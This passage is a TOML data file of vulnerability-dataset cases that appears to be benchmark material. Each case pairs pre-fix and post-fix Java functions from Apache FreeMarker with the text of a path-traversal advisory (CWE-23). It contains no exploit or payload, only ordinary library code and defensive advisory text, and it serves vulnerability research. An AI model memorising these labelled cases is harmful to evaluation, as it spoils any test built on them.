customLookupCondition,\n final String encoding, final boolean parseAsFTL)\n throws IOException {\n final boolean debug = LOG.isDebugEnabled();\n final String debugName = debug\n ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n \n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n \n final long now = System.currentTimeMillis();\n \n long lastModified = -1L;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n \n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n } \n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" + \n \"sourceEquals=\" + sourceEquals + \n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) + \n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else if (!lastModifiedNotChanged) {\n LOG.debug(\"Updating source because: \" + \n \"lastModifiedNotChanged=\" + lastModifiedNotChanged + \n \", cached.lastModified=\" + cachedTemplate.lastModified + \n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n \n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n \n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n \n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n \n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n \n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n \n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified; \n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "setSQLDateAndTimeTimeZone" +function_lines = [[1293, 1316]] +id = "apache-freemarker-5b201fbf15fe43ca" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/core/Environment.java" +post_fix = " public void setSQLDateAndTimeTimeZone(TimeZone timeZone) {\n TimeZone prevTimeZone = getSQLDateAndTimeTimeZone();\n super.setSQLDateAndTimeTimeZone(timeZone);\n\n if (!Objects.equals(timeZone, prevTimeZone)) {\n if (cachedTempDateFormatArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n TemplateDateFormat format = cachedTempDateFormatArray[i];\n if (format != null && format.isTimeZoneBound()) {\n cachedTempDateFormatArray[i] = null;\n }\n }\n }\n if (cachedTempDateFormatsByFmtStrArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n cachedTempDateFormatsByFmtStrArray[i] = null;\n }\n }\n\n cachedSQLDateAndTimeTimeZoneSameAsNormal = null;\n }\n }\n\n /**\n * Tells if the same concrete time zone is used for SQL date-only and time-only values as for other\n * date/time/date-time values.\n */" +pre_fix = " public void setSQLDateAndTimeTimeZone(TimeZone timeZone) {\n TimeZone prevTimeZone = getSQLDateAndTimeTimeZone();\n super.setSQLDateAndTimeTimeZone(timeZone);\n\n if (!nullSafeEquals(timeZone, prevTimeZone)) {\n if (cachedTempDateFormatArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n TemplateDateFormat format = cachedTempDateFormatArray[i];\n if (format != null && format.isTimeZoneBound()) {\n cachedTempDateFormatArray[i] = null;\n }\n }\n }\n if (cachedTempDateFormatsByFmtStrArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n cachedTempDateFormatsByFmtStrArray[i] = null;\n }\n }\n\n cachedSQLDateAndTimeTimeZoneSameAsNormal = null;\n }\n }\n\n // Replace with Objects.equals in Java 7" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "resolve" +function_lines = [[92, 120]] +id = "apache-freemarker-68401dcb84d645a6" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/core/OptInTemplateClassResolver.java" +post_fix = " public Class resolve(String className, Environment env, Template template)\n throws TemplateException {\n String templateName = safeGetTemplateName(template);\n\n if (templateName != null\n && (trustedTemplateNames.contains(templateName)\n || hasMatchingPrefix(templateName))) {\n return TemplateClassResolver.SAFER_RESOLVER.resolve(className, env, template);\n } else {\n if (!allowedClasses.contains(className)) {\n throw new _MiscTemplateException(env,\n \"Instantiating \", className, \" is not allowed in the template for security reasons. (If you \"\n + \"run into this problem when using ?new in a template, you may want to check the \\\"\",\n Configurable.NEW_BUILTIN_CLASS_RESOLVER_KEY,\n \"\\\" setting in the FreeMarker configuration.)\");\n } else {\n try {\n return ClassUtil.forName(className);\n } catch (ClassNotFoundException e) {\n throw new _MiscTemplateException(e, env);\n }\n }\n }\n }\n\n /**\n * Extract the template name from the template object which will be matched against the trusted template names and\n * pattern.\n */" +pre_fix = " public Class resolve(String className, Environment env, Template template)\n throws TemplateException {\n String templateName = safeGetTemplateName(template);\n \n if (templateName != null\n && (trustedTemplateNames.contains(templateName)\n || hasMatchingPrefix(templateName))) {\n return TemplateClassResolver.SAFER_RESOLVER.resolve(className, env, template);\n } else {\n if (!allowedClasses.contains(className)) {\n throw new _MiscTemplateException(env,\n \"Instantiating \", className, \" is not allowed in the template for security reasons. (If you \"\n + \"run into this problem when using ?new in a template, you may want to check the \\\"\",\n Configurable.NEW_BUILTIN_CLASS_RESOLVER_KEY,\n \"\\\" setting in the FreeMarker configuration.)\");\n } else {\n try {\n return ClassUtil.forName(className);\n } catch (ClassNotFoundException e) {\n throw new _MiscTemplateException(e, env);\n }\n }\n }\n }\n\n /**\n * Extract the template name from the template object which will be matched\n * against the trusted template names and pattern. \n */" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "rootBasedNameToAbsoluteName" +function_lines = [[215, 225]] +id = "apache-freemarker-6ff76988cae7dfa5" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java" +post_fix = " String rootBasedNameToAbsoluteName(String name) {\n if (name.indexOf(\"://\") > 0) {\n return name;\n }\n if (!name.startsWith(\"/\")) {\n return \"/\" + name;\n }\n return name;\n }\n\n @Override" +pre_fix = " String rootBasedNameToAbsoluteName(String name) throws MalformedTemplateNameException {\n if (name.indexOf(\"://\") > 0) {\n return name;\n }\n if (!name.startsWith(\"/\")) {\n return \"/\" + name;\n }\n return name;\n }\n \n @Override" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "URLTemplateSource" +function_lines = [[41, 50]] +id = "apache-freemarker-8083f17f7cbadd46" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/URLTemplateSource.java" +post_fix = " public URLTemplateSource(URL url, Boolean useCaches) throws IOException {\n this.url = url;\n this.conn = url.openConnection();\n this.useCaches = useCaches;\n if (useCaches != null) {\n conn.setUseCaches(useCaches);\n }\n }\n\n @Override" +pre_fix = " public URLTemplateSource(URL url, Boolean useCaches) throws IOException {\n this.url = url;\n this.conn = url.openConnection();\n this.useCaches = useCaches;\n if (useCaches != null) {\n conn.setUseCaches(useCaches.booleanValue());\n }\n }\n\n @Override" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "canonicalizePrefix" +function_lines = [[112, 122]] +id = "apache-freemarker-9a97c39706187df2" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/URLTemplateLoader.java" +post_fix = " protected static String canonicalizePrefix(String prefix) {\n if (prefix.isEmpty()) {\n return prefix;\n }\n\n prefix = prefix.replace('\\\\', '/');\n return prefix.endsWith(\"/\") ? prefix : prefix + \"/\";\n }\n\n}" +pre_fix = " protected static String canonicalizePrefix(String prefix) {\n // make it foolproof\n prefix = prefix.replace('\\\\', '/');\n // ensure there's a trailing slash\n if (prefix.length() > 0 && !prefix.endsWith(\"/\")) {\n prefix += \"/\";\n }\n return prefix;\n }\n \n}" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "loadTemplate" +function_lines = [[524, 589]] +id = "apache-freemarker-9c4ae45efeed53a7" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" +post_fix = " private Template loadTemplate(\n final TemplateLoader templateLoader, final Object source,\n final String name, final String sourceName, Locale locale, final Object customLookupCondition,\n String initialEncoding, final boolean parseAsFTL) throws IOException {\n final TemplateConfiguration tc;\n try {\n tc = templateConfigurations != null ? templateConfigurations.get(sourceName, source) : null;\n } catch (TemplateConfigurationFactoryException e) {\n throw new IOException(\"Error while getting TemplateConfiguration; see cause exception.\", e);\n }\n if (tc != null) {\n // TC.{encoding,locale} is stronger than the cfg.getTemplate arguments by design.\n if (tc.isEncodingSet()) {\n initialEncoding = tc.getEncoding();\n }\n if (tc.isLocaleSet()) {\n locale = tc.getLocale();\n }\n }\n\n Template template;\n {\n if (parseAsFTL) {\n try {\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, initialEncoding);\n }\n } catch (Template.WrongEncodingException wee) {\n String actualEncoding = wee.getTemplateSpecifiedEncoding();\n if (LOG.isDebugEnabled()) {\n LOG.debug(\"Initial encoding \\\"\" + initialEncoding + \"\\\" was incorrect, re-reading with \\\"\"\n + actualEncoding + \"\\\". Template: \" + sourceName);\n }\n\n try (Reader reader = templateLoader.getReader(source, actualEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, actualEncoding);\n }\n }\n } else {\n // Read the contents into a StringWriter, then construct a single-text-block template from it.\n final StringWriter sw = new StringWriter();\n final char[] buf = new char[4096];\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n while (true) {\n int charsRead = reader.read(buf);\n if (charsRead > 0) {\n sw.write(buf, 0, charsRead);\n } else if (charsRead < 0) {\n break;\n }\n }\n }\n template = Template.getPlainTextTemplate(name, sourceName, sw.toString(), config);\n template.setEncoding(initialEncoding);\n }\n }\n\n if (tc != null) {\n tc.apply(template);\n }\n\n template.setLocale(locale);\n template.setCustomLookupCondition(customLookupCondition);\n return template;\n }" +pre_fix = " private Template loadTemplate(\n final TemplateLoader templateLoader, final Object source,\n final String name, final String sourceName, Locale locale, final Object customLookupCondition,\n String initialEncoding, final boolean parseAsFTL) throws IOException {\n final TemplateConfiguration tc;\n try {\n tc = templateConfigurations != null ? templateConfigurations.get(sourceName, source) : null;\n } catch (TemplateConfigurationFactoryException e) {\n throw newIOException(\"Error while getting TemplateConfiguration; see cause exception.\", e);\n }\n if (tc != null) {\n // TC.{encoding,locale} is stronger than the cfg.getTemplate arguments by design.\n if (tc.isEncodingSet()) {\n initialEncoding = tc.getEncoding();\n }\n if (tc.isLocaleSet()) {\n locale = tc.getLocale();\n }\n }\n \n Template template;\n {\n if (parseAsFTL) {\n try {\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, initialEncoding);\n }\n } catch (Template.WrongEncodingException wee) {\n String actualEncoding = wee.getTemplateSpecifiedEncoding();\n if (LOG.isDebugEnabled()) {\n LOG.debug(\"Initial encoding \\\"\" + initialEncoding + \"\\\" was incorrect, re-reading with \\\"\"\n + actualEncoding + \"\\\". Template: \" + sourceName);\n }\n\n try (Reader reader = templateLoader.getReader(source, actualEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, actualEncoding);\n }\n }\n } else {\n // Read the contents into a StringWriter, then construct a single-text-block template from it.\n final StringWriter sw = new StringWriter();\n final char[] buf = new char[4096];\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n fetchChars:\n while (true) {\n int charsRead = reader.read(buf);\n if (charsRead > 0) {\n sw.write(buf, 0, charsRead);\n } else if (charsRead < 0) {\n break fetchChars;\n }\n }\n }\n template = Template.getPlainTextTemplate(name, sourceName, sw.toString(), config);\n template.setEncoding(initialEncoding);\n }\n }\n\n if (tc != null) {\n tc.apply(template);\n }\n \n template.setLocale(locale);\n template.setCustomLookupCondition(customLookupCondition);\n return template;\n }" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "hasMatchingPrefix" +function_lines = [[150, 158]] +id = "apache-freemarker-a05c81da5a0b21df" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/core/OptInTemplateClassResolver.java" +post_fix = " private boolean hasMatchingPrefix(String name) {\n for (String trustedTemplatePrefix : trustedTemplatePrefixes) {\n if (name.startsWith(trustedTemplatePrefix)) return true;\n }\n return false;\n }\n}" +pre_fix = " private boolean hasMatchingPrefix(String name) {\n for (int i = 0; i < trustedTemplatePrefixes.size(); i++) {\n String prefix = (String) trustedTemplatePrefixes.get(i);\n if (name.startsWith(prefix)) return true;\n }\n return false;\n }\n\n}" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "hashCode" +function_lines = [[862, 887]] +id = "apache-freemarker-a176addda844a7ce" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" +post_fix = " public int hashCode() {\n return\n name.hashCode() ^\n locale.hashCode() ^\n encoding.hashCode() ^\n (customLookupCondition != null ? customLookupCondition.hashCode() : 0) ^\n Boolean.valueOf(!parse).hashCode();\n }\n }\n\n /**\n * This class holds the cached template and associated information (the source object, and the last-checked and\n * last-modified timestamps). It is used as the value in the cached templates map. Note: this class is Serializable\n * to allow custom 3rd party CacheStorage implementations to serialize/replicate them (see tracker issue #1926150);\n * FreeMarker code itself doesn't rely on its serializability.\n */\n private static final class CachedTemplate implements Cloneable, Serializable {\n private static final long serialVersionUID = 1L;\n\n Object templateOrException;\n Object source;\n long lastChecked;\n long lastModified;\n" +pre_fix = " public int hashCode() {\n return\n name.hashCode() ^\n locale.hashCode() ^\n encoding.hashCode() ^\n (customLookupCondition != null ? customLookupCondition.hashCode() : 0) ^\n Boolean.valueOf(!parse).hashCode();\n }\n }\n\n /**\n * This class holds the cached template and associated information\n * (the source object, and the last-checked and last-modified timestamps).\n * It is used as the value in the cached templates map. Note: this class\n * is Serializable to allow custom 3rd party CacheStorage implementations \n * to serialize/replicate them (see tracker issue #1926150); FreeMarker \n * code itself doesn't rely on its serializability.\n */\n private static final class CachedTemplate implements Cloneable, Serializable {\n private static final long serialVersionUID = 1L;\n\n Object templateOrException;\n Object source;\n long lastChecked;\n long lastModified;\n " +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "getLessSpecificLocale" +function_lines = [[33, 45]] +id = "apache-freemarker-a74ec0787d3280ea" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/core/_CoreLocaleUtils.java" +post_fix = " public static Locale getLessSpecificLocale(Locale locale) {\n String country = locale.getCountry();\n if (!locale.getVariant().isEmpty()) {\n return new Locale(locale.getLanguage(), country);\n }\n if (!country.isEmpty()) {\n return new Locale(locale.getLanguage());\n }\n return null;\n }\n\n}" +pre_fix = " public static Locale getLessSpecificLocale(Locale locale) {\n String country = locale.getCountry();\n if (locale.getVariant().length() != 0) {\n String language = locale.getLanguage();\n return country != null ? new Locale(language, country) : new Locale(language);\n }\n if (country.length() != 0) {\n return new Locale(locale.getLanguage());\n }\n return null;\n }\n \n}" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "removeRedundantStarSteps" +function_lines = [[424, 454]] +id = "apache-freemarker-a765c68d84f2b828" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java" +post_fix = " private String removeRedundantStarSteps(String path) {\n String prevName;\n do {\n int supiciousIdx = path.indexOf(\"*/*\");\n if (supiciousIdx == -1) {\n break;\n }\n\n prevName = path;\n\n // Is it delimited on both sided by \"/\" or by the string boundaires? \n if ((supiciousIdx == 0 || path.charAt(supiciousIdx - 1) == '/')\n && (supiciousIdx + 3 == path.length() || path.charAt(supiciousIdx + 3) == '/')) {\n path = path.substring(0, supiciousIdx) + path.substring(supiciousIdx + 2);\n }\n } while (prevName != path);\n\n // An initial \"*\" step is redundant:\n if (path.startsWith(\"*\")) {\n if (path.length() == 1) {\n path = \"\";\n } else if (path.charAt(1) == '/') {\n path = path.substring(2);\n }\n // else: it's wasn't a \"*\" step.\n }\n\n return path;\n }\n\n @Override" +pre_fix = " private String removeRedundantStarSteps(String path) {\n String prevName;\n removeDoubleStarSteps: do {\n int supiciousIdx = path.indexOf(\"*/*\");\n if (supiciousIdx == -1) {\n break removeDoubleStarSteps;\n }\n \n prevName = path;\n \n // Is it delimited on both sided by \"/\" or by the string boundaires? \n if ((supiciousIdx == 0 || path.charAt(supiciousIdx - 1) == '/')\n && (supiciousIdx + 3 == path.length() || path.charAt(supiciousIdx + 3) == '/')) {\n path = path.substring(0, supiciousIdx) + path.substring(supiciousIdx + 2); \n }\n } while (prevName != path);\n \n // An initial \"*\" step is redundant:\n if (path.startsWith(\"*\")) {\n if (path.length() == 1) {\n path = \"\";\n } else if (path.charAt(1) == '/') {\n path = path.substring(2); \n }\n // else: it's wasn't a \"*\" step.\n }\n 